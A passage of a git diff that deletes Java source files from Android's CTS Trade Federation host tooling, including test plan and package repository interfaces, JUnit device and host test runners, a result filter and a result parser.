-     * Set the filter to use for tests
-     *
-     * @param testFilter
-     */
-    public void setTestFilter(TestFilter testFilter);
-
-    /**
-     * Restrict this test package to run a specific class and method name
-     *
-     * @param className the test class to restrict this run to
-     * @param methodName the optional test method to restrict this run to, or <code>null</code> to
-     *            run all tests in class
-     */
-    public void setClassName(String className, String methodName);
-
-    /**
-     * Return the file name of this package's instrumentation target apk.
-     *
-     * @return the file name or <code>null</code> if not applicable.
-     */
-    public String getTargetApkName();
-
-    /**
-     * Return the Android package name of this package's instrumentation target, or
-     * <code>null</code> if not applicable.
-     */
-    public String getTargetPackageName();
-
-    /**
-     * Return a list of preparers used for setup or teardown of test cases in this package
-     * @return
-     */
-    public List<ITargetPreparer> getPackagePreparers();
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPackageRepo.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPackageRepo.java
deleted file mode 100644
index 893758f..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPackageRepo.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-
-import java.util.List;
-import java.util.Map;
-
-/**
- * Interface for accessing tests from the CTS repository.
- */
-public interface ITestPackageRepo {
-
-    /**
-     * Get a {@link TestPackageDef} given an id.
-     *
-     * @param id the unique identifier of this test package, generated by
-     * {@link AbiUtils#createId(String, String)}.
-     * @return a {@link TestPackageDef}
-     */
-    public ITestPackageDef getTestPackage(String id);
-
-    /**
-     * @return a sorted {@link List} of all package ids found in repo.
-     */
-    public List<String> getPackageIds();
-
-    /**
-     * @return a sorted {@link List} of test package names
-     */
-    public List<String> getPackageNames();
-
-    /**
-     * @return A {@link Map} of test package name to a {@link List} of {@link ITestPackageDef}s.
-     */
-    public Map<String, List<ITestPackageDef>> getTestPackageDefsByName();
-
-    /**
-     * Attempt to find the package ids for a given test class name
-     *
-     * @param testClassName the test class name
-     * @return a {@link List} of package ids.
-     */
-    public List<String> findPackageIdsForTest(String testClassName);
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPlan.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPlan.java
deleted file mode 100644
index 2d5f4a7..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ITestPlan.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * Interface for accessing test plan data.
- */
-public interface ITestPlan {
-
-    /**
-     * Populates the test plan data from given XML stream.
-     *
-     * @param xmlStream the {@link InputStream} that contains the test plan xml.
-     */
-    public void parse(InputStream xmlStream) throws ParseException;
-
-    /**
-     * Gets a sorted list of test ids contained in this plan.
-     */
-    public Collection<String> getTestIds();
-
-    /**
-     * Gets a sorted {@link List} of test names contained in this plan.
-     */
-    public List<String> getTestNames();
-
-    /**
-     * Gets the {@link TestFilter} that should be used to filter tests from given package.
-     */
-    public TestFilter getTestFilter(String id);
-
-    /**
-     * Add a package to this test plan
-     * @param id
-     */
-    public void addPackage(String id);
-
-    /**
-     * Add a excluded test to this test plan
-     *
-     * @param id the package id
-     * @param testToExclude the test to exclude for given package
-     */
-    public void addExcludedTest(String id, TestIdentifier testToExclude);
-
-    /**
-     * Adds the list of excluded tests for given package
-     *
-     * @param id
-     * @param excludedTests
-     */
-    public void addExcludedTests(String id, Collection<TestIdentifier> excludedTests);
-
-    /**
-     * Serialize the contents of this test plan.
-     *
-     * @param xmlOutStream the {@link OutputStream} to serialize test plan contents to
-     * @throws IOException
-     */
-    public void serialize(OutputStream xmlOutStream) throws IOException;
-
-    /**
-     * @return the test plan name
-     */
-    public String getName();
-
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/JUnitDeviceTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/JUnitDeviceTest.java
deleted file mode 100644
index 5efa7cd..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/JUnitDeviceTest.java
+++ /dev/null
@@ -1,226 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.Option.Importance;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.util.AbiFormatter;
-import com.android.tradefed.util.ArrayUtil;
-
-import junit.framework.Assert;
-import junit.framework.Test;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-/**
- * {@link Test} for running CTS JUnit tests on the device.
- */
-public class JUnitDeviceTest implements IDeviceTest, IRemoteTest, IBuildReceiver {
-
-    private static final String TMP_DIR = "/data/local/tmp/";
-
-    @Option(name = "junit-device-runtime",
-            description = "The name of the runtime to use on the device",
-            importance = Importance.ALWAYS)
-    private String mRuntimePath = "dalvikvm|#ABI#|";
-
-    @Option(name = "junit-device-tmpdir", description = "Device path where to store the test jars."
-            , importance = Importance.IF_UNSET)
-    private String mDeviceTestTmpPath = TMP_DIR;
-
-
-
-    // default to no timeout
-    private long mMaxTimeToOutputResponse = 0;
-
-    private ITestDevice mDevice;
-    private String mRunName;
-    private Collection<TestIdentifier> mTests;
-    private CtsBuildHelper mCtsBuild = null;
-
-    private List<String> mJarPaths = new ArrayList<String>();
-
-    private String mRuntimeArgs;
-
-    private IAbi mAbi;
-
-    private static final String JUNIT_JAR = "cts-junit.jar";
-
-    private Set<String> mTestJars = new HashSet<String>(Arrays.asList(JUNIT_JAR));
-
-    /**
-     * @param abi The ABI to run the test on
-     */
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    public void addTestJarFileName(String jarFileName) {
-        mTestJars.add(jarFileName);
-    }
-
-    public void setRunName(String runName) {
-        mRunName = runName;
-    }
-
-    public void setTests(Collection<TestIdentifier> tests) {
-        mTests = tests;
-    }
-
-    public Collection<TestIdentifier> getTests() {
-        return mTests;
-    }
-
-    @Override
-    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        addTestJarFileName(JUNIT_JAR);
-        checkFields();
-        long startTime = System.currentTimeMillis();
-        listener.testRunStarted(mRunName, mTests.size());
-        try {
-            installJars();
-            String jarPath = ArrayUtil.join(":", mJarPaths);
-            for (TestIdentifier testId : mTests) {
-                SingleJUnitTestResultParser resultParser = new SingleJUnitTestResultParser(
-                        testId, listener);
-                String cmdLine = String.format("ANDROID_DATA=%s %s -cp %s %s " +
-                        "com.android.cts.junit.SingleJUnitTestRunner %s#%s",
-                        mDeviceTestTmpPath, mRuntimePath, jarPath, mRuntimeArgs,
-                        testId.getClassName(), testId.getTestName());
-                String cmd = AbiFormatter.formatCmdForAbi(cmdLine, mAbi.getBitness());
-                CLog.d("Running %s", cmd);
-                listener.testStarted(testId);
-                mDevice.executeShellCommand(cmd, resultParser, mMaxTimeToOutputResponse,
-                        TimeUnit.MILLISECONDS, 0);
-            }
-        } finally {
-            listener.testRunEnded(System.currentTimeMillis() - startTime,
-                    Collections.<String, String> emptyMap());
-            // Remove jar files from device
-            removeJars();
-        }
-    }
-
-    /**
-     * Installs the jar files on the device under test.
-     *
-     * @throws DeviceNotAvailableException
-     */
-    protected void installJars() throws DeviceNotAvailableException {
-        for (String f : mTestJars) {
-            CLog.d("Installing %s on %s", f, getDevice().getSerialNumber());
-            File jarFile;
-            try {
-                String fullJarPath = String.format("%s%s", mDeviceTestTmpPath, f);
-                jarFile = mCtsBuild.getTestApp(f);
-                boolean result = getDevice().pushFile(jarFile, fullJarPath);
-                Assert.assertTrue(String.format("Failed to push file to %s", fullJarPath), result);
-                mJarPaths.add(fullJarPath);
-            } catch (FileNotFoundException e) {
-                Assert.fail(String.format("Could not find file %s", f));
-            }
-        }
-    }
-
-    /**
-     * Cleans up the jar files from the device under test.
-     *
-     * @throws DeviceNotAvailableException
-     */
-    protected void removeJars() throws DeviceNotAvailableException {
-        for (String f : mTestJars) {
-            String fullJarPath = String.format("%s%s", mDeviceTestTmpPath, f);
-            CLog.d("Uninstalling %s on %s", fullJarPath, getDevice().getSerialNumber());
-            getDevice().executeShellCommand(String.format("rm %s", fullJarPath));
-        }
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = CtsBuildHelper.createBuildHelper(buildInfo);
-    }
-
-    /**
-     * Checks that all mandatory member fields has been set.
-     */
-    protected void checkFields() {
-        if (mRunName == null) {
-            throw new IllegalArgumentException("run name has not been set");
-        }
-        if (mDevice == null) {
-            throw new IllegalArgumentException("Device has not been set");
-        }
-        if (mTestJars.isEmpty()) {
-            throw new IllegalArgumentException("No test jar has been set");
-        }
-        if (mTests == null) {
-            throw new IllegalArgumentException("tests has not been set");
-        }
-        if (mCtsBuild == null) {
-            throw new IllegalArgumentException("build has not been set");
-        }
-        for (String f : mTestJars) {
-            try {
-
-                mCtsBuild.getTestApp(f);
-            } catch (FileNotFoundException e) {
-                throw new IllegalArgumentException(String.format(
-                        "Could not find jar %s in CTS build %s", f,
-                        mCtsBuild.getRootDir().getAbsolutePath()));
-            }
-        }
-    }
-
-    /**
-     * Add runtime arguments to run the tests with.
-     *
-     * @param mRunTimeArgs
-     */
-    public void addRunTimeArgs(String mRunTimeArgs) {
-        mRuntimeArgs = mRunTimeArgs;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/JarHostTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/JarHostTest.java
deleted file mode 100644
index 9d9596e..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/JarHostTest.java
+++ /dev/null
@@ -1,377 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.ConfigurationException;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.testtype.DeviceTestResult.RuntimeDeviceNotAvailableException;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.testtype.JUnitRunUtil;
-import com.android.tradefed.util.CommandStatus;
-import com.android.tradefed.util.IRunUtil.IRunnableResult;
-import com.android.tradefed.util.RunUtil;
-
-import junit.framework.Test;
-import junit.framework.TestCase;
-import junit.framework.TestResult;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLClassLoader;
-import java.util.Collection;
-
-/**
- * A {@link IRemoteTest} that can run a set of JUnit tests from a CTS jar.
- */
-public class JarHostTest implements IDeviceTest, IRemoteTest, IBuildReceiver, Test {
-
-    private static final String LOG_TAG = "JarHostTest";
-
-    private ITestDevice mDevice;
-    private String mJarFileName;
-    private Collection<TestIdentifier> mTests;
-    private long mTimeoutMs = 10 * 60 * 1000;
-    private String mRunName;
-    private CtsBuildHelper mCtsBuild = null;
-    private IBuildInfo mBuildInfo = null;
-    private IAbi mAbi;
-    private ClassLoader mClassLoader;
-
-    /**
-     * @param abi the ABI to run the test on
-     */
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildInfo = buildInfo;
-        mCtsBuild = CtsBuildHelper.createBuildHelper(buildInfo);
-    }
-
-    /**
-     * Set the CTS build container.
-     * <p/>
-     * Exposed so unit tests can mock the provided build.
-     *
-     * @param buildHelper
-     */
-    void setBuildHelper(CtsBuildHelper buildHelper) {
-        mCtsBuild = buildHelper;
-    }
-
-    /**
-     * Get the CTS build container.
-     *
-     * @return {@link CtsBuildHelper}
-     */
-    CtsBuildHelper getBuildHelper() {
-        return mCtsBuild;
-    }
-
-    /**
-     * Set the jar file to load tests from.
-     *
-     * @param jarFileName the file name of the CTS host test jar to use
-     */
-    void setJarFileName(String jarFileName) {
-        mJarFileName = jarFileName;
-    }
-
-    /**
-     * Gets the jar file to load tests from.
-     *
-     * @return jarFileName the file name of the CTS host test jar to use
-     */
-    String getJarFileName() {
-        return mJarFileName;
-    }
-
-    /**
-     * Sets the collection of tests to run
-     *
-     * @param tests
-     */
-    void setTests(Collection<TestIdentifier> tests) {
-        mTests = tests;
-    }
-
-    /**
-     * Gets the collection of tests to run
-     *
-     * @return Collection<{@link TestIdentifier}>
-     */
-    Collection<TestIdentifier> getTests() {
-        return mTests;
-    }
-
-    /**
-     * Set the maximum time in ms each test should run.
-     * <p/>
-     * Tests that take longer than this amount will be failed with a {@link TestTimeoutException}
-     * as the cause.
-     *
-     * @param testTimeoutMs
-     */
-    void setTimeout(long testTimeoutMs) {
-        mTimeoutMs = testTimeoutMs;
-    }
-
-    /**
-     * Set the run name to report to {@link ITestInvocationListener#testRunStarted(String, int)}
-     *
-     * @param runName
-     */
-    void setRunName(String runName) {
-        mRunName = runName;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @SuppressWarnings("unchecked")
-    @Override
-    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        checkFields();
-        Log.i(LOG_TAG, String.format("Running %s test package from jar, contains %d tests.",
-                mRunName, mTests.size()));
-        JUnitRunUtil.runTest(listener, this, mRunName);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void run(TestResult junitResult) {
-        for (TestIdentifier testId : mTests) {
-            Test junitTest = loadTest(testId.getClassName(), testId.getTestName());
-            if (junitTest != null) {
-                runTest(testId, junitTest, junitResult);
-            }
-        }
-    }
-
-    /**
-     * Run test with timeout support.
-     */
-    private void runTest(TestIdentifier testId, final Test junitTest, final TestResult junitResult) {
-        if (junitTest instanceof IDeviceTest) {
-            ((IDeviceTest)junitTest).setDevice(getDevice());
-        } else if (junitTest instanceof com.android.hosttest.DeviceTest) {
-            // legacy check - see if test uses hosttestlib. This check should go away once
-            // all host tests are converted to use tradefed
-            com.android.hosttest.DeviceTest deviceTest = (com.android.hosttest.DeviceTest)junitTest;
-            deviceTest.setDevice(getDevice().getIDevice());
-            deviceTest.setTestAppPath(mCtsBuild.getTestCasesDir().getAbsolutePath());
-        }
-        if (junitTest instanceof IAbiReceiver) {
-            ((IAbiReceiver)junitTest).setAbi(mAbi);
-        }
-        if (junitTest instanceof IBuildReceiver) {
-            ((IBuildReceiver)junitTest).setBuild(mBuildInfo);
-        }
-        TestRunnable testRunnable = new TestRunnable(junitTest, junitResult);
-
-        CommandStatus status = RunUtil.getDefault().runTimed(mTimeoutMs, testRunnable, true);
-        if (status.equals(CommandStatus.TIMED_OUT)) {
-            junitResult.addError(junitTest, new TestTimeoutException());
-            junitResult.endTest(junitTest);
-        }
-        if (testRunnable.getException() != null) {
-            throw testRunnable.getException();
-        }
-    }
-
-    private static class TestRunnable implements IRunnableResult {
-
-        private final Test mJunitTest;
-        private RuntimeDeviceNotAvailableException mException = null;
-        private TestResult mJunitResult;
-
-        TestRunnable(Test junitTest, TestResult junitResult) {
-            mJunitTest = junitTest;
-            mJunitResult = junitResult;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public boolean run() throws Exception {
-            try {
-                mJunitTest.run(mJunitResult);
-            } catch (RuntimeDeviceNotAvailableException e) {
-                mException = e;
-            }
-            return true;
-        }
-
-        public RuntimeDeviceNotAvailableException getException() {
-            return mException;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void cancel() {
-        }
-
-    }
-
-    /**
-     * Load the test with given names from the jar.
-     *
-     * @param className
-     * @param testName
-     * @return the loaded {@link Test} or <code>null</code> if test could not be loaded.
-     */
-    private Test loadTest(String className, String testName) {
-        try {
-            Class<?> testClass = loadClass(className);
-            if (testClass == null) {
-                return null;
-            }
-            if (TestCase.class.isAssignableFrom(testClass)) {
-                TestCase testCase = (TestCase)testClass.newInstance();
-                testCase.setName(testName);
-                return testCase;
-            } else if (Test.class.isAssignableFrom(testClass)) {
-                Test test = (Test)testClass.newInstance();
-                return test;
-            } else {
-                Log.e(LOG_TAG, String.format("Class '%s' from jar '%s' is not a Test",
-                        className, mJarFileName));
-            }
-        } catch (IllegalAccessException e) {
-            reportLoadError(mJarFileName, className, e);
-        } catch (InstantiationException e) {
-            reportLoadError(mJarFileName, className, e);
-        }
-        return null;
-    }
-
-    private Class<?> loadClass(String className) {
-        try {
-            if (mClassLoader == null) {
-                File jarFile = mCtsBuild.getTestApp(mJarFileName);
-                URL urls[] = {jarFile.getCanonicalFile().toURI().toURL()};
-                mClassLoader = new URLClassLoader(urls);
-            }
-            return mClassLoader.loadClass(className);
-        } catch (FileNotFoundException fnfe) {
-            reportLoadError(mJarFileName, className, fnfe);
-        } catch (MalformedURLException mue) {
-            reportLoadError(mJarFileName, className, mue);
-        } catch (IOException ioe) {
-            reportLoadError(mJarFileName, className, ioe);
-        } catch (ClassNotFoundException cnfe) {
-            reportLoadError(mJarFileName, className, cnfe);
-        }
-        return null;
-    }
-
-    /**
-     * Loads a class from given URLs.
-     * <p/>
-     * Exposed so unit tests can mock
-     *
-     * @param className
-     * @param urls
-     * @return
-     * @throws ClassNotFoundException
-     */
-    Class<?> loadClass(String className, URL[] urls) throws ClassNotFoundException {
-        URLClassLoader cl = new URLClassLoader(urls);
-        Class<?> testClass = cl.loadClass(className);
-        return testClass;
-    }
-
-    private void reportLoadError(String jarFileName, String className, Exception e) {
-        Log.e(LOG_TAG, String.format("Failed to load test class '%s' from jar '%s'",
-                className, jarFileName));
-        Log.e(LOG_TAG, e);
-    }
-
-    /**
-     * Checks that all mandatory member fields has been set.
-     */
-    protected void checkFields() {
-        if (mRunName == null) {
-            throw new IllegalArgumentException("run name has not been set");
-        }
-        if (mDevice == null) {
-            throw new IllegalArgumentException("Device has not been set");
-        }
-        if (mJarFileName == null) {
-            throw new IllegalArgumentException("jar file name has not been set");
-        }
-        if (mTests == null) {
-            throw new IllegalArgumentException("tests has not been set");
-        }
-        if (mCtsBuild == null) {
-            throw new IllegalArgumentException("build has not been set");
-        }
-        try {
-            mCtsBuild.getTestApp(mJarFileName);
-        } catch (FileNotFoundException e) {
-            throw new IllegalArgumentException(String.format(
-                    "Could not find jar %s in CTS build %s", mJarFileName,
-                    mCtsBuild.getRootDir().getAbsolutePath()));
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int countTestCases() {
-        return mTests.size();
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ResultFilter.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ResultFilter.java
deleted file mode 100644
index f4f2f5d..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/ResultFilter.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.cts.tradefed.testtype.CtsTest.TestPackage;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.ResultForwarder;
-
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.LinkedHashSet;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * A {@link ITestInvocationListener} that filters test results based on the set of expected tests
- * in CTS test package xml files.
- * <p/>
- * It will only report test results for expected tests, and at end of invocation, will report the
- * set of expected tests that were not executed.
- */
-class ResultFilter extends ResultForwarder {
-
-    private final Set<TestIdentifier> mKnownTests;
-    private final Set<TestIdentifier> mRemainingTests;
-    private final String mTestRun;
-
-    /**
-     * Create a {@link ResultFilter}.
-     *
-     * @param listener the real {@link ITestInvocationListener} to forward results to
-     */
-    ResultFilter(ITestInvocationListener listener, TestPackage testPackage) {
-        super(listener);
-        mTestRun = testPackage.getTestRunName();
-        Collection<TestIdentifier> tests = testPackage.getKnownTests();
-        mKnownTests = new HashSet<TestIdentifier>(tests);
-        // use LinkedHashMap for predictable test order
-        mRemainingTests = new LinkedHashSet<TestIdentifier>(tests);
-    }
-
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testRunStarted(String runName, int testCount) {
-        if (mTestRun.equals(runName)) {
-            super.testRunStarted(runName, testCount);
-        } else {
-            CLog.d("Skipping reporting unknown test run %s", runName);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testStarted(TestIdentifier test) {
-        if (isKnownTest(test)) {
-            super.testStarted(test);
-        } else {
-            CLog.d("Skipping reporting unknown test %s", test);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testFailed(TestIdentifier test, String trace) {
-        if (isKnownTest(test)) {
-            super.testFailed(test, trace);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testEnded(TestIdentifier test, Map<String, String> testMetrics) {
-        if (isKnownTest(test)) {
-            super.testEnded(test, testMetrics);
-            removeExecutedTest(test);
-        }
-    }
-
-    /**
-     * @param test
-     * @return
-     */
-    private boolean isKnownTest(TestIdentifier test) {
-        return mKnownTests.contains(test);
-    }
-
-    /**
-     * Remove given test from the 'remaining tests' data structure.
-     * @param test
-     */
-    private void removeExecutedTest(TestIdentifier test) {
-        mRemainingTests.remove(test);
-    }
-
-    /**
-     * Report the set of expected tests that were not executed
-     */
-    public void reportUnexecutedTests() {
-        if (mRemainingTests.isEmpty()) {
-            return;
-        }
-        super.testRunStarted(mTestRun, mRemainingTests.size());
-        for (TestIdentifier test : mRemainingTests) {
-            // an unexecuted test is currently reported as a 'testStarted' event without a
-            // 'testEnded'. TODO: consider adding an explict API for reporting an unexecuted
-            // test
-            super.testStarted(test);
-        }
-        super.testRunEnded(0, new HashMap<String, String>());
-    }
-
-    /** @return the number of known tests */
-    public int getKnownTestCount() {
-        return mKnownTests.size();
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/SingleJUnitTestResultParser.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/SingleJUnitTestResultParser.java
deleted file mode 100644
index 150d265..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/SingleJUnitTestResultParser.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.ddmlib.MultiLineReceiver;
-import com.android.ddmlib.testrunner.ITestRunListener;
-import com.android.ddmlib.testrunner.TestIdentifier;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.Map;
-
-/**
- * Parses the test results from {@link com.android.cts.junit.SingleJUnitTestRunner}
- */
-public class SingleJUnitTestResultParser extends MultiLineReceiver {
-
-    private static final String PASSED_TEST_MARKER = "[ PASSED ]";
-    private static final String FAILED_TEST_MARKER = "[ FAILED ]";
-    private final TestIdentifier mTestId;
-    private final Collection<ITestRunListener> mTestListeners;
-    private StringBuilder mStackTrace = new StringBuilder();
-
-    public SingleJUnitTestResultParser(TestIdentifier testId, Collection<ITestRunListener> listeners) {
-        mTestId = testId;
-        mTestListeners = new ArrayList<ITestRunListener>(listeners);
-    }
-
-    public SingleJUnitTestResultParser(TestIdentifier testId, ITestRunListener listener) {
-        mTestId = testId;
-        mTestListeners = new ArrayList<ITestRunListener>(1);
-        mTestListeners.add(listener);
-    }
-
-    @Override
-    public boolean isCancelled() {
-        // TODO Auto-generated method stub
-        return false;
-    }
-
-    @Override
-    public void processNewLines(String[] lines) {
-        for (String line : lines) {
-            parse(line);
-        }
-    }
-
-    /**
-     * Parses a given string.
-     * @param line
-     */
-    private void parse(String line) {
-        if (line.startsWith(PASSED_TEST_MARKER)) {
-            doTestEnded(true);
-        } else if (line.startsWith(FAILED_TEST_MARKER)) {
-            doTestEnded(false);
-        } else {
-            // Store everything in case there is a failure.
-            mStackTrace.append("\n");
-            mStackTrace.append(line);
-        }
-    }
-
-    /**
-     * Handle cases when test ends.
-     * @param testPassed whether or not the test passed.
-     */
-    private void doTestEnded(boolean testPassed) {
-        // If test failed.
-        if (!testPassed) {
-            for (ITestRunListener listener : mTestListeners) {
-                listener.testFailed(mTestId, mStackTrace.toString());
-            }
-        }
-        Map<String, String> emptyMap = Collections.emptyMap();
-        for (ITestRunListener listener : mTestListeners) {
-            listener.testEnded(mTestId, emptyMap);
-        }
-        mStackTrace = new StringBuilder();
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestFilter.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestFilter.java
deleted file mode 100644
index 4d1b3e2..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestFilter.java
+++ /dev/null
@@ -1,195 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
